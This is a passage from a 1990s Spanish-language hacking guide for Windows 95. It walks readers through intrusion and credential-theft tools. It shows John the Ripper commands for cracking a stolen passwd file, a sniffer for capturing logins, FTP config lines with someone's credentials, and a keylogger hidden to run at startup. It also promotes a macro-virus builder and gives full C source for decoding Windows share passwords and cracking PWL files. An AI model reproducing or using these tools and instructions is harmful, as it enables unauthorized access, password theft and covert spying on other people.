703/453-4255 (FAX) 703/453-4102

Technical Contact, Zone Contact:

America Online  (AOL-NOC)  trouble@aol.net

703-453-5862

Billing Contact:

Barrett, Joe  (JB4302)  BarrettJG@AOL.COM

703-453-4160 (FAX) 703-453-4001

 

Record last updated on 13-Mar-97.

Record created on 22-Jun-95.

 

Domain servers in listed order:

DNS-01.AOL.COM               152.163.199.42

DNS-02.AOL.COM               152.163.199.56

DNS-AOL.ANS.NET              198.83.210.28

 

Como vemos hemos pedido informacion sobre AOL.COM, American On-Line. Y esto

es lo que nos ha sacado Internic. Al final podemos ver los dominios

asociados a AOL. Pues sencillo y muy util, el whois.

4i. Tracert.

Esta utilidad que si esta implementada en Win95, nos sirve para calcular el tiempo que tarda un paquete de un servidor hasta otro y ademas podemos saber por cuantos servidores pasa. Muy util para sacar posibles servidores victimas si nos llaman la atencion.

Para usar esta utilidad, abrimos una ventana MS-DOS y escribimos Tracert, a secas y nos sacara el menu de opciones disponible.

c:\>tracert

Usage:tracert [-d] [-h maximum_hops] [-j host-list] [-w timeout] target_name

Options:

  • d                 Do not resolve addresses to hostnames.
  • h maximum_hops    Maximum number of hops to search for target.
  • j host-list       Loose source route along host-list.
  • w timeout         Wait timeout milliseconds for each reply.

 

Pues como veis, no tiene ningun misterio las opciones del Tracert, por

lo que ya aprendereis su uso con la experiencia. Ahora escribimos una

direccion IP cuando invocamos al Tracert, de la siguente forma:

c:\>tracert 198.83.210.28

Tracing route to dns-aol.ans.net [198.83.210.28]

over a maximum of 30 hops:

 

1   *        *        *     Request timed out.

2 138 ms  145 ms  135 ms 204.134.78.201

3 212 ms  191 ms  181 ms glory-cyberport.nm.westnet.net [204.134.78.33]

4 166 ms  228 ms  189 ms enss365.nm.org [129.121.1.3]

5 148 ms  138 ms  177 ms h4-0.cnss116.Albuquerque.t3.ans.net [192.103.74.45]

6 284 ms  296 ms  178 ms f2.t112-0.Albuquerque.t3.ans.net [140.222.112.221]

7 298 ms  279 ms  277 ms h14.t64-0.Houston.t3.ans.net [140.223.65.9]

8 238 ms  234 ms  263 ms h14.t104-0.Atlanta.t3.ans.net [140.223.65.18]

9 301 ms  257 ms  250 ms dns-aol.ans.net [198.83.210.28]

 

Trace complete.

Aqui podeis por todos lo sitios que ha pasado el paquete que hemos enviado al IP 198.83.210.28. Y asi podemos con todos los servidores de Internet.

5.   Utilizacion De Tools.

 

En esta seccion os explicare diferentes tools que podeis usar para hacking,

por supuesto hay que buscarlas por Internet, no pondre el url para

encontrarlas, ya que a lo mejor cuando estas leyendo esta guia ya no existe,

pero os dire como se llama el programa asi lo podras buscar ademas esto

tambien te servira para que te espabiles y sepas buscar cosas por Internet.

Logicamente esta guia es para win95 y los programas que explicare seran para win95 pero tambien me veo obligado a explicar varias tools que no son de win95 propiamente sino de MS-DOS pero que son necesarias y ademas corren en modo MS-DOS de win95.

5a. Skamwerks lab version 1.1b

Este programa es un util herramienta que nos ayuda a crear de forma rapida virus macro, o sea para el Word. Tiene que estar instalado el Word para que este programa nos funcione.

Al ejecutar el programa nos aparecera una ventana con 2 botones los caules son las 2 opciones que podemos escoger “Virii Wizard” o “Advanced Users”.  El “virii Wizard” es la opcion, si no sabemos muy bien como crear un virus de macro ya que nos moveremos por varios menus y crearemos un virus de forma rapida y facilmente. La otra opcion, “Advanced Users” es para aquellos que sepan de Word Basic, el lenguaje de programacion del Word, ya que podemos meter codigo Word basic directamente y asi crear un virus a nuestro gusto.

Como este no es un curso sobre virus, no me voy a enrollar sobre la utilizacion exacta del programa. En mi opinion es un buen programa, en ingles 🙂 programado en C++.

5b. WaReZ! Version 95.12.31

Este programa es un cliente FTP que muestra los directorios ocultos en un servidor, util si nos metemos en algun sitio sospechoso. Como ya es costumbre para que nos funcione tenemos que tener instalado el WINSOCK.DLL correctamente.

Al igual que antes tampoco hay que explicar mucho sobre este programa ya que su Interface es igual que el cliente WS_FTP que suele ser muy familiar para todos, por lo que no encontraremos mucha dificultad en su manejo.

5c. John the ripper v1.4.

Esta magnifica tool no es propiamente de win95 pero seria un pecado no hablar de ella, cuando corre sobre win95 de maravilla (bueno, dentro de lo que cabe :). John, como se le conoce, sirve para crackear un fichero unix de password (el conocido etc/passwd, como ya digo aprended algo de unix).

Cuando robemos un fichero passwd de un servidor, lo que tenemos que hacer es usar el John para sacar cuentas, pero no solo basta esto sino tambien necesitamos un buen diccionario y una combinacion de suerte y paciencia.

Supongamos que ya tenemos todo (fichero passwd, John y un diccionario), entonces tenemos que abrir una ventana MS-DOS y llamar al John, si lo llamamos sin nigun parametro nos saldran un listado de opciones, esto seria asi:

c:\>john

Usage: john [flags] [passwd files]

Flags:-pwfile:<file>[,..]     specify passwd file(s)

  • wordfile:<file> -stdin wordlist mode, read words from <file> or stdin
  • rules                  enable rules for wordlist mode
  • incremental[:<mode>]   incremental mode [using john.ini entry <mode>]
  • single                 single crack mode
  • external:<mode>        external mode, using john.ini entry <mode>
  • restore[:<file>]       restore session [from <file>]
  • makechars:<file>       make a charset, <file> will be overwritten
  • show                   show cracked passwords
  • test                   perform a benchmark
  • users:<login|uid>[,..] crack this (these) user(s) only
  • shells:[!]<shell>[,..] crack users with this (these) shell(s) only
  • salts:[!]<count>      crack salts with at least <count> accounts only
  • lamesalts              assume plaintext passwords were used as salts
  • timeout:<time>         abort session after a period of <time> minutes
  • list                   list each word
  • beep -quiet            beep or don’t beep when a password is found
  • noname -nohash        don’t use memory for login names or hash tables
  • des -md5               force DES or MD5 mode

 

Veis? :), y como siempre no explicare que es cada opcion os lo dejo para

que jugueis vosotros solitos!. Ahora, ya podemos crackear el fichero,

para ello escogermos la opcion “single”, ya que el john no nos pedira

un fichero de diccionario, si fuese el caso que no tenemos, ponemos:

c:\>john -single passwd

Y el John se pondra a trabajar, cuando halla acabo creara un fichero llamado “John.pot” donde se almacenaran los passwords encriptados con su correspodiente passwords desencriptado (esta definicion no es del todo correcta pero es para que lo entendais) y ya tenemos unas cuentas de acceso al servidor.

Este metodo va bien para la primera pasado con el John pero luego conviene usar un diccionario y con el diccionario seria de la siguiente manera:

c:\>john -wordfile:spain.txt passwd

El John seguiria el mismo proceso antes descrito, por supuesto si el fichero “John.pot” esta creado ya, les a¤adira los resultados obtenidos a este fichero, por cierto este fichero tiene atributo de solo lectura.

Pues aqui se acaba la explicacion del John, que seguro que ya aprendereis a manejar correctamente. Referente a los diccionarios hay varias herramientas que corren bajo MS-DOS que crean diccionarios o tambien podeis buscar por Internet ya que hay varios web’s llenos de diccionarios.

5d. Gobbler v 2.1.

Volvemos a la carga con otro programa que no es del win95 propiamente, pero es un sniffer que podemos usar bajo win95 en una red Ethernet. Un Sniffer para aquellos que no sepan, es un programa que captura los paquetes que pasan por una red y asi se pueden conseguir logins, passowrds u otro tipo de informacion que querramos, logicamente si los paquetes estan encriptados, esto dificultara el proceso, ya que habra que desencriptarlos si se puede.

Como siempre abrimos una ventana y ejecutamos el programa de la siguiente manera:

c:\>gobbler

Y se activara el programa y veremos una serie de ventanas, en este punto, pulsamos el <ESC> y saldra una ventana con un menu. Ahora tenemos que configurar el programa para nuestra red, la verdad es que es muy sencillo de utilizar, con un poco de practica dominaremos este sniffer facilmente.  Como sugerencia conviene leer el fichero de documentacion que trae, ya que explica como configurar el programa.

5e. Modificando el WS_FTP.

El famoso cliente ftp WS_FTP, se le puede a¤adir un host remoto el cual esconde mucho software interesante. Esta opcion no esta por defecto, simplemente hay que a¤adir una lineas en el fichero “WS_FTP.ini”.

Tenemos que a¤adir, al principio del fichero:

[208.128.143.19]

HOST=24.48.3.45

UID=cmw

PWD=636E79

LMASK=

RMASK=

RETRIES=20

PASVMODE=0

COMMENT=

 

Simple, verdad? Pues ahora cuando le digamos al cliente que se diriga al

host 208.128.143.19 (que no es la dirrecion real, pero da igual). Pues

que os divertais con esta cuenta 🙂 y coged todo lo que podais, porque

a saber cuanto tiempo estara vigente.

5f. Sharepasswd.

Este programa desencripta el passorwd de win95. Esta en lenguaje C, como supongo todo el mundo tiene que tener un compilador en C y si no ya estas buscando uno, que hay muchos y gratis por Internet. No veo la necesidad de explicaros el programa ya que tambien incluyo la explicacion del autor la cual esta muy bien, logicamente.

/* This program takes an ‘encrypted’ Windows 95 share password and decrypts it * Look at:

  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan
  • to find a machine’s shares.  Within the data for each share are two
  • registry entries, Parm1enc and Parm2enc.  Parm1enc is the “Full access”
  • password.  Parm2enc is the “Read only” password.

*

*

  • Do not distribute this program for any commercial purpose without first
  • contacting me for permission.

*

  • DO NOT USE THIS PROGRAM FOR ILLEGAL OR UNETHICAL PURPOSES!

*

  • A technical description of the ‘code’ can be found later on in this
  • document.

*

  • Oh yeah…  a totally unsolicited self promotion here…  If anyone has
  • a job for a junior year Computer Science student for summer ‘96, please
  • let me know!  I’m familiar with Windows and Mac networking (especially
  • involving TCP/IP), fluent in C and C++, and working on becoming a
  • proficient Windows programmer.

*

*/

 

#include <stdio.h>

#include <string.h>

 

#define BUFFER 30

int DecodeCharOne(unsigned char *);

int DecodeCharTwo(unsigned char *);

int DecodeCharThree(unsigned char *);

int DecodeCharFour(unsigned char *);

int DecodeCharFive(unsigned char *);

int DecodeCharSix(unsigned char *);

int DecodeCharSeven(unsigned char *);

int DecodeCharEight(unsigned char *);

 

main() {

int i;           /* Generic counter */

int eocc = 0;    /* Records if there has been an error */

 

/* The following structure stores the encoded bytes.  Decoded values

  • replace the encoded values as the decoding process moves along
  • The initial values show here are not used and are unimportant

*/

unsigned char mybytes[] = { 0x15, 0xba, 0x6d, 0x86, 0x73, 0x89, 0xf4, 0x4a };

unsigned short tempshort;   /* Used as a go-between from sscanf() to

mybytes[] so unaligned data accesses

don’t occur */

 

int goupto = 0;  /* Records how many characters there are to be decoded */

/* The following code handles input */

char inpt[BUFFER];

char *inptptr;

 

printf(“Input the byte code in hex (ex: 76 d5 09 e3): “);

fgets(inpt, BUFFER, stdin);

inptptr = strtok(inpt, “ “);

if (inpt[0] != ‘\n’)

while ((inptptr != NULL) && (goupto < 8)) {

sscanf(inptptr, “%hx”, &tempshort);

mybytes[goupto++] = tempshort;

inptptr = strtok(NULL, “ “);

}

 

/* Decode all the characters.  I could have made this stop immediately

  • after an error has been found, but it really doesn’t matter

*/

if (!DecodeCharOne(&mybytes[0])) eocc = 1;

if (!DecodeCharTwo(&mybytes[1])) eocc = 1;

if (!DecodeCharThree(&mybytes[2])) eocc = 1;

if (!DecodeCharFour(&mybytes[3])) eocc = 1;

if (!DecodeCharFive(&mybytes[4])) eocc = 1;

if (!DecodeCharSix(&mybytes[5])) eocc = 1;

if (!DecodeCharSeven(&mybytes[6])) eocc = 1;

if (!DecodeCharEight(&mybytes[7])) eocc = 1;

 

/* If the password could be decoded, print it */

if (eocc) printf(“The encrypted password is invalid.\n”);

else {

printf(“The decoded password is: \””);

for (i = 0; i < goupto; i++) printf(“%c”,mybytes[i]);

printf(“\”\n”);

}

}  /* End of main() */

 

/*

  • I will document this function, but not the seven other functions
  • which decode the subsequent seven characters.  All of these functions
  • are essentially the same.  Multiple functions are necessary though
  • because each column of the password has a different set of encoding
  • patterns.

*

  • The following section will attempt to explain the encoding scheme
  • for share passwords as stored in the Windows 95 registry.  I will
  • try to explain this as clearly as I can, however I really have no
  • background in encryption.  If you have any questions, please feel
  • free to send them to me at snakey@cs.umd.edu.

*

  • First off, share passwords can be anywhere from one character to
  • eight.  “Read only” passwords and “Full access” passwords both use
  • the same encoding scheme, and so they both can be decoded by this
  • program.  There is a one-to-one relationship between the number of
  • characters in a password and the number of bytes in the encoded
  • password stored in the registry.  In fact, each encoded byte directly
  • corresponds to the letter in the corresponding column of the
  • unencoded password!  Ie: If I change a password “passwd” to “masswd”,
  • only the first byte of the encrypted password will change.  Knowing
  • this, it is easy to see that all that needs to be done to decode
  • the password is to find a mapping from an encoded byte to a decoded
  • letter.  That’s what this program does.  Unfortunately, things get
  • a little tricky because a letter in the first column of a password
  • is encoded using a slightly different algorithm than a letter
  • in the second column, and so on.

*

  • There is another complexity which we do not really need to worry
  • about to a great extent, but we still need to be aware of.  Many
  • characters, when entered into a password, map to the same encoded
  • byte.  The best example of this is that both ‘A’ and ‘a’ are the
  • same as far as share passwords are concerned.  There are numerous
  • other examples of this, and this allows us to effectively limit the
  • range of characters we need to be able to decode.  The range of
  • ASCII values we will have to be able to decode turns out to be
  • from 32 to 159.  ASCII values higher than 159 tend to map to
  • encoded bytes which also represent more normal ASCII values.  So
  • if a user manages to create a password with high ASCII values
  • in it, that password will still be decoded by this program.
  • Although the decoded password won’t look the same as the original,
  • it will work just as well.

*

  • With all of the preliminaries out of the way, I can now move on
  • to describing the mapping from an encoded byte to it’s corresponding
  • ASCII value.  I think the best way to describe this would be through
  • a picture of exactly how the characters from 32 to 63 are mapped
  • out in the code for the first letter in a password.  This table goes
  • beyond the 80 column format maintained in the rest of this document,
  • but it is really the best solution.  If the table below doesn’t look
  • right, load this file up in a text editor that supports greater than
  • 80 columns.

*

  • Encoded byte (hex)    – 1F 1E 1D 1C 1B 1A 19 18 17 16 15 14 13 14 11 10

0F OE 0D 0C 0B 0A 09 08 07 06 05 04 03 02 01 00

  • ASCII value (decimal) – 42 43 40 41 46 47 44 45 34 35 32 33 38 39 36 37 58 59 56 57 62 63 60 61 50 51 48 49 54 55 52 53
  • Pair #                – |_6_| |_5_| |_8_| |_7_| |_2_| |_1_| |_4_| |_3_| |14_| |13_| |16_| |15_| |10_| |_9_| |12_| |11_|
  • Quad #                – |__________2__________| |__________1__________| |__________3__________| |__________4__________|
  • 32 byte block #       – |______________________________________________ 1______________________________________________|

*

  • The “Pair #”, “Quad #”, and “32 byte block #” rows each are there to
  • make the general ordering of the code more visible.  The first thing to
  • note is that the range of encoded byte values runs from 00 to 1f.  This
  • will not always be the case for the first set of 32 characters.  In
  • fact, the next set of 32 characters (ASCII 64 to ASCII 95) is not in
  • the range of 20 to 3f in encoded form.  I never concerned myself with
  • predicting exactly where each of the four 32 byte ranges are aligned
  • within the range of 0 to 256.  In my decoding scheme, I simply specify
  • the location of the first character in a 32 byte block (which I have
  • pre-determined via experimentation) and determine the locations of the
  • rest of the characters in the block relative to the inital value.  This
  • amounts to a total of four hand-decoded characters for the entire code.

*

  • From a starting point which is given (in this case the fact that ASCII
  • 32 is encoded as 0x15), my decoding scheme follows a pattern that is
  • probably already apparent to you if you have examined the above table
  • closely.  First, if the encoded byte number is odd, it simple subtracts
  • one from this byte number to get the byte number of the encoded form of
  • the subsequent character.  This is much more simple than it sounds.
  • As an example, given that the code for ASCII 32 is 0x15, the program
  • knows that the code for ASCII 33 must be 0x14.  The tricky part is that
  • this is not always true for every code.  Recall that there is a different
  • coding scheme for each of the 8 columns in a password, and that the above
  • table only describes the coding scheme for the first column.  Other columns
  • reverse this relationship between the two ASCII values of a certain pair.

*

  • Pairs are grouped into units of four, appearing in a predefined pattern.
  • In this case, the first pair (by first I mean the pair with the lowest
  • set of ASCII values) is put in the second slot of a quad (which contains
  • four pairs).  The second pair is put in the first slot, the third is put
  • in the fourth quad, and the fourth is put in the third quad.  This changes
  • depending on the specific code used (of the 8 possible).

*

  • Quads also fill a block in the same manner, however the ordering is NOT
  • necessarily the same as the way pairs fit into quads!  As I described
  • above, there are four blocks, and they fit into the entire range of
  • 128 values just as pairs fit into quads and quads fit into blocks,
  • via a pattern determined by whoever invented this encoding scheme.  It
  • is important to realize that the range of 128 possible encoded
  • values can be anywhere within the range of 0 to 256.  Ie: One block can
  • be positioned from 0x00 to 0x1f, while another block in the same code
  • can be positioned from 0xa0 to 0xbf.

*

  • I realize that the above description is a bit complex, and it doesn’t
  • really cover much of how my program decodes the the encoded values.
  • If you honestly can’t understand a word I’ve said, just go back to
  • the table and really take a long look at it.  Print it out, put it
  • under your pillow when you go to sleep.  Sooner or later the order
  • of it all will dawn on you and you should be able to step through
  • my code and see how it derives its answer, at least for the
  • DecodeCharOne() routine.  Seven other tables (which I have rough
  • copies of here on notebook paper) were needed to come up with
  • the seven other decoders for the seven other character places.

*

*/

 

int DecodeCharOne(unsigned char *mychar) {

int i = 0;        /* Keeps track of the decoded character # minus 32 */

int cletter = 1;  /* Sets the current letter of the 8 char quad */

int blockl1 = 1;  /* Sets the current quad */

int blockl2 = 1;  /* Sets the current 32 char block */

int retval = 1;

/* We are on this col of the table: */

unsigned char code = 0x15;    /* The code for a space */

 

/* This is the main loop.  It walks through each decoded character, finds

  • its corresponding encoded value, and looks to see if that’s the same as
  • the encoded value we are looking for.  If it is, we have found our
  • decoded character!

*/

while((i<256) && (code != *mychar)) {

switch (cletter) {

case 1:

code–;

cletter++;

break;

case 2:

code += 3;

cletter++;

break;

case 3:

code–;

cletter++;

break;

case 4:

code -= 5;

cletter++;

break;

case 5:

code–;

cletter++;

break;

case 6:

code+=3;

cletter++;

break;

case 7:

code–;

cletter++;

break;

case 8:

cletter = 1;

switch (blockl1) {    /* After we hit character number 8, we have */

case 1:               /* to do a relative jump to the next quad */

code += 11;

blockl1++;

break;

case 2:

code -= 21;

blockl1++;

break;

case 3:

code += 11;

blockl1++;

break;

case 4:

blockl1 = 1;

switch (blockl2) {       /* After we hit the last quad, we have to */

case 1:                  /* jump to the next 32 character block. */

code = 0x75;

blockl2++;

break;

case 2:

code = 0x55;

blockl2++;

break;

case 3:

code = 0xb5;

blockl2++;

break;

case 4:

code = 0x15;

blockl2 = 1;

break;

}

break;

}

break;

}

i++;

}

if (i == 256) retval = 0;

else *mychar = i + 32;

return retval;

}  /* End of DecodeCharOne() */

int DecodeCharTwo(unsigned char *mychar) {

int i = 0;

int cletter = 1;

int blockl1 = 1;

int blockl2 = 1;

int retval = 1;

unsigned char code = 0xba;    /* The code for a space */

while((i<256) && (code != *mychar)) {

switch (cletter) {

case 1:

code++;

cletter++;

break;

case 2:

code -= 3;

cletter++;

break;

case 3:

code++;

cletter++;

break;

case 4:

code += 5;

cletter++;

break;

case 5:

code++;

cletter++;

break;

case 6:

code -= 3;

cletter++;

break;

case 7:

code++;

cletter++;

break;

case 8:

cletter = 1;

switch (blockl1) {

case 1:

code -= 11;

blockl1++;

break;

case 2:

code -= 11;

blockl1++;

break;

case 3:

code -= 11;

blockl1++;

break;

case 4:

blockl1 = 1;

switch (blockl2) {

case 1:

code = 0xda;

blockl2++;

break;

case 2:

code = 0xfa;

blockl2++;

break;

case 3:

code = 0x1a;

blockl2++;

break;

case 4:

code = 0xba;

blockl2 = 1;

break;

}

break;

}

break;

}

i++;

}

if (i == 256) retval = 0;

else *mychar = i + 32;

return retval;

}  /* End of DecodeCharTwo() */

int DecodeCharThree(unsigned char *mychar) {

int i = 0;

int cletter = 1;

int blockl1 = 1;

int blockl2 = 1;

int retval = 1;

unsigned char code = 0x6d;    /* The code for a space */

while((i<256) && (code != *mychar)) {

switch (cletter) {

case 1:

code–;

cletter++;

break;

case 2:

code += 3;

cletter++;

break;

case 3:

code–;

cletter++;

break;

case 4:

code -= 5;

cletter++;

break;

case 5:

code–;

cletter++;

break;

case 6:

code += 3;

cletter++;

break;

case 7:

code–;

cletter++;

break;

case 8:

cletter = 1;

switch (blockl1) {

case 1:

code -= 5;

blockl1++;

break;

case 2:

code += 27;

blockl1++;

break;

case 3:

code -= 5;

blockl1++;

break;

case 4:

blockl1 = 1;

switch (blockl2) {

case 1:

code = 0x0d;

blockl2++;

break;

case 2:

code = 0x2d;

blockl2++;

break;

case 3:

code = 0xcd;

blockl2++;

break;

case 4:

code = 0x6d;

blockl2 = 1;

break;

}

break;

}

break;

}

i++;

}

if (i == 256) retval = 0;

else *mychar = i + 32;

return retval;

}  /* End of DecodeCharThree() */

int DecodeCharFour(unsigned char *mychar) {

int i = 0;

int cletter = 1;

int blockl1 = 1;

int blockl2 = 1;

int retval = 1;

unsigned char code = 0x86;    /* The code for a space */

while((i<256) && (code != *mychar)) {

switch (cletter) {

case 1:

code++;

cletter++;

break;

case 2:

code -= 3;

cletter++;

break;

case 3:

code++;

cletter++;

break;

case 4:

code -= 3;

cletter++;

break;

case 5:

code++;

cletter++;

break;

case 6:

code -= 3;

cletter++;

break;

case 7:

code++;

cletter++;

break;

case 8:

cletter = 1;

switch (blockl1) {

case 1:

code += 13;

blockl1++;

break;

case 2:

code += 13;

blockl1++;

break;

case 3:

code += 13;

blockl1++;

break;

case 4:

blockl1 = 1;

switch (blockl2) {

case 1:

code = 0xe6;

blockl2++;

break;

case 2:

code = 0xc6;

blockl2++;

break;

case 3:

code = 0x26;

blockl2++;

break;

case 4:

code = 0x86;

blockl2 = 1;

break;

}

break;

}

break;

}

i++;

}

if (i == 256) retval = 0;

else *mychar = i + 32;

return retval;

}   /* End of DecodeCharFour() */

int DecodeCharFive(unsigned char *mychar) {

int i = 0;

int cletter = 1;

int blockl1 = 1;

int blockl2 = 1;

int retval = 1;

unsigned char code = 0x73;    /* The code for a space */

while((i<256) && (code != *mychar)) {

switch (cletter) {

case 1:

code–;

cletter++;

break;

case 2:

code–;

cletter++;

break;

case 3:

code–;

cletter++;

break;

case 4:

code += 7;

cletter++;

break;

case 5:

code–;

cletter++;

break;

case 6:

code–;

cletter++;

break;

case 7:

code–;

cletter++;

break;

case 8:

cletter = 1;

switch (blockl1) {

case 1:

code += 7;

blockl1++;

break;

case 2:

code -= 25;

blockl1++;

break;

case 3:

code += 7;

blockl1++;

break;

case 4:

blockl1 = 1;

switch (blockl2) {

case 1:

code = 0x13;

blockl2++;

break;

case 2:

code = 0x33;

blockl2++;

break;

case 3:

code = 0x23;

blockl2++;

break;

case 4:

code = 0x73;

blockl2 = 1;

break;

}

break;

}

break;

}

i++;

}

if (i == 256) retval = 0;

else *mychar = i + 32;

return retval;

}    /* End of DecodeCharFive() */

int DecodeCharSix(unsigned char *mychar) {

int i = 0;

int cletter = 1;

int blockl1 = 1;

int blockl2 = 1;

int retval = 1;

unsigned char code = 0x89;    /* The code for a space */

while((i<256) && (code != *mychar)) {

switch (cletter) {

case 1:

code–;

cletter++;

break;

case 2:

code += 3;

cletter++;

break;

case 3:

code–;

cletter++;

break;

case 4:

code += 3;

cletter++;

break;

case 5:

code–;

cletter++;

break;

case 6:

code += 3;

cletter++;

break;

case 7:

code–;

cletter++;

break;

case 8:

cletter = 1;

switch (blockl1) {

case 1:

code -= 13;

blockl1++;

break;

case 2:

code += 19;

blockl1++;

break;

case 3:

code -= 13;

blockl1++;

break;

case 4:

blockl1 = 1;

switch (blockl2) {

case 1:

code = 0xe9;

blockl2++;

break;

case 2:

code = 0xc9;

blockl2++;

break;

case 3:

code = 0x29;

blockl2++;

break;

case 4:

code = 0x89;

blockl2 = 1;

break;

}

break;

}

break;

}

i++;

}

if (i == 256) retval = 0;

else *mychar = i + 32;

return retval;

}     /* End of DecodeCharSix() */

int DecodeCharSeven(unsigned char *mychar) {

int i = 0;

int cletter = 1;

int blockl1 = 1;

int blockl2 = 1;

int retval = 1;

unsigned char code = 0xf4;    /* The code for a space */

while((i<256) && (code != *mychar)) {

switch (cletter) {

case 1:

code++;

cletter++;

break;

case 2:

code++;

cletter++;

break;

case 3:

code++;

cletter++;

break;

case 4:

code -= 7;

cletter++;

break;

case 5:

code++;

cletter++;

break;

case 6:

code++;

cletter++;

break;

case 7:

code++;

cletter++;

break;

case 8:

cletter = 1;

switch (blockl1) {

case 1:

code += 9;

blockl1++;

break;

case 2:

code -= 23;

blockl1++;

break;

case 3:

code += 9;

blockl1++;

break;

case 4:

blockl1 = 1;

switch (blockl2) {

case 1:

code = 0x94;

blockl2++;

break;

case 2:

code = 0xb4;

blockl2++;

break;

case 3:

code = 0x54;

blockl2++;

break;

case 4:

code = 0xf4;

blockl2 = 1;

break;

}

break;

}

break;

}

i++;

}

if (i == 256) retval = 0;

else *mychar = i + 32;

return retval;

}   /* End of DecodeCharSeven() */

int DecodeCharEight(unsigned char *mychar) {

int i = 0;

int cletter = 1;

int blockl1 = 1;

int blockl2 = 1;

int retval = 1;

unsigned char code = 0x4a;    /* The code for a space */

while((i<256) && (code != *mychar)) {

switch (cletter) {

case 1:

code++;

cletter++;

break;

case 2:

code -= 3;

cletter++;

break;

case 3:

code++;

cletter++;

break;

case 4:

code += 5;

cletter++;

break;

case 5:

code++;

cletter++;

break;

case 6:

code -= 3;

cletter++;

break;

case 7:

code++;

cletter++;

break;

case 8:

cletter = 1;

switch (blockl1) {

case 1:

code -= 11;

blockl1++;

break;

case 2:

code += 21;

blockl1++;

break;

case 3:

code -= 11;

blockl1++;

break;

case 4:

blockl1 = 1;

switch (blockl2) {

case 1:

code = 0x2a;

blockl2++;

break;

case 2:

code = 0x0a;

blockl2++;

break;

case 3:

code = 0xea;

blockl2++;

break;

case 4:

code = 0x4a;

blockl2 = 1;

break;

}

break;

}

break;

}

i++;

}

if (i == 256) retval = 0;

else *mychar = i + 32;

return retval;

}    /* End of DecodeCharEight() */

/* End of program */

Cuando ejecutemos el programa nos saldra esto:

c:\>sharepw

Input the byte code in hex (ex: 76 d5 09 e3):

Nos pide que introduzcamos el password en formato Hexadecimal. Hay muchas tablas por Internet para aquellos que no tengan una.

5g. Snadboy’s revelation v1.1.

En este apartado hablare sobre una interesante herramienta. El Snadboy es una tool que nos descripta los astericos de la tipica ventana que pide password. Si hay una ventana con un password y que no entendemos porque solo salen asteriscos, lo que tenemos que hacer es abrir el Snadboy y situarnos al lado de la ventana de password, la ventana del Snadboy tiene una “mira de punto”, pinchamos encima de la mira y la arrastramos con el raton sobre la ventana del password situandonos encima del password, soltamos y en la ventana del Snadboy veremos el password descifrado.

Como nota, este programa para lo que hace, ocupa mucho en el disco duro,por lo que puede ser un poco sospechoso o que los coders no lo han optimizado demasiado que digamos.

5h. Keylog95.

Este programa nos sera muy util en sitio donde halla mucha gente, ya que es un Key recoder, o sea, una peque¤a utilidad que se queda residente en memoria y graba todos los logins y password que la gente vaya metiendo.

El programa es de sencillo manejo, pero tiene que haver unos peque¤os requisitos, primero tener las librerias VBRUN300.DLL y QPRO200.DLL en el directorio c:\windows\system y ademas tener un directorio llamado c:\win, ya que es alli donde el programa grabara la informacion que obtenga, en un fichero llamado “logx”, por lo que esto quedara:

c:\win\logx

Cuando las librerias esten metidas en el directorio System, windows creara un icono en la carpeta de Inico, por lo que es conveniente darle un atributo de Minimizado para que nadie lo pueda ver y asi siempre que se arranque Windows tambien lo hara el Keylog95 🙂

5i. Glide.

El Glide es otro programa que sirve para desencriptar un password’s en Win95. Al igual que el Sharepw solo lo tenemos que compiLar y ejecutar con la salvedad que esta escrito en C++.

#include <stdio.h>

#include <string.h>

#include <process.h>

#include <stdlib.h>

#include <ctype.h>

#include <conio.h>

 

unsigned char huge Data[100001];

unsigned char keystream[1001];

int Rpoint[300];

 

void main (int argc,char *argv[]) {

FILE *fd;

int   i,j,k;

int   size;

char ch;

char *name;

int cracked;

int sizemask;

int maxr;

int rsz;

int pos;

int Rall[300]; /* recource allocation table */

 

 

if (argc<2) {

printf(“usage: glide filename (username)”);

exit(1);

}

 

/* read PWL file */

fd=fopen(argv[1],”rb”);

if(fd==NULL) {

printf(“can’t open file %s”,argv[1]);

exit(1);

}

size=0;

while(!feof(fd)) {

Data[size++]=fgetc(fd);

}

size–;

fclose(fd);

 

/* find username */

name=argv[1];

if(argc>2) name=argv[2];

printf(“Username: %s\n”,name);

 

/* copy encrypted text into keystream */

cracked=size-0x0208;

if(cracked<0) cracked=0;

if(cracked>1000) cracked=1000;

memcpy(keystream,Data+0x208,cracked );

 

/* generate 20 bytes of keystream */

for(i=0;i<20;i++) {

ch=toupper(name[i]);

if(ch==0) break;

if(ch==’.’) break;

keystream[i]^=ch;

};

cracked=20;

 

/* find allocated recources */

sizemask=keystream[0]+(keystream[1]<<8);

printf(“Sizemask: %04X\n”,sizemask);

 

for(i=0;i<256;i++) Rall[i]=0;

maxr=0;

for(i=0x108;i<0x208;i++) {

if(Data[i]!=0xff) {

Rall[Data[i]]++;

if (Data[i]>maxr) maxr=Data[i];

}

}

maxr=(((maxr/16)+1)*16);      /* recource pointer table size appears

to be divisable by 16 */

 

/* search after recources */

Rpoint[0]=0x0208+2*maxr+20+2;               /* first recource */

for(i=0;i<maxr;i++) {

/* find size of current recource */

pos=Rpoint[i];

rsz=Data[pos]+(Data[pos+1]<<8);

rsz^=sizemask;

printf(“Analyzing block with size: %04x\t(%d:%d)\n”,rsz,i

,Rall[i]);

if( (Rall[i]==0) && (rsz!=0) ) {

printf(“unused resource has nonzero size !!!\n”);

printf(“If last line produced any : You

may try to recover\n”);

printf(“press y to attempt recovery\n”);

ch=getch();

if(ch!=’y’) exit(0);

rsz=2;

i-=1;

}

 

pos+=rsz;

/* Resources have a tendency to have the wrong size for

some reason */

/* check for correct size */

if(i<maxr-1) {

while(Data[pos+3]!=keystream[1]) {

printf(“:”,Data[pos+3]);

pos+=2; /* very rude may fail */

}

}

 

pos+=2;     /* include pointer in size */

Rpoint[i+1]=pos;

}

Rpoint[maxr]=size;

/* insert Table data into keystream */

for(i=0;i <= maxr;i++) {

keystream[20+2*i]^=Rpoint[i] & 0x00ff;

keystream[21+2*i]^=(Rpoint[i] >> 8) & 0x00ff;

}

cracked+=maxr*2+2;

printf(“%d bytes of keystream recovered\n”,cracked);

/* decrypt resources */

for(i=0;i < maxr;i++) {

rsz=Rpoint[i+1]-Rpoint[i];

if (rsz>cracked) rsz=cracked;

printf(“Recource[%d] (%d)\n”,i,rsz);

for(j=0;j<rsz;j++) printf(“%c”,Data[Rpoint[i]+j]^keystream[j]);

printf(“\n”);

}

exit(0);

}

Cuando lo ejecutemos nos saldra lo siguiente:

c:\>glide

usage: glide filename (username)

 

Pidiendo el fichero y el login.

5j. Win95 anonymail v 1.0.

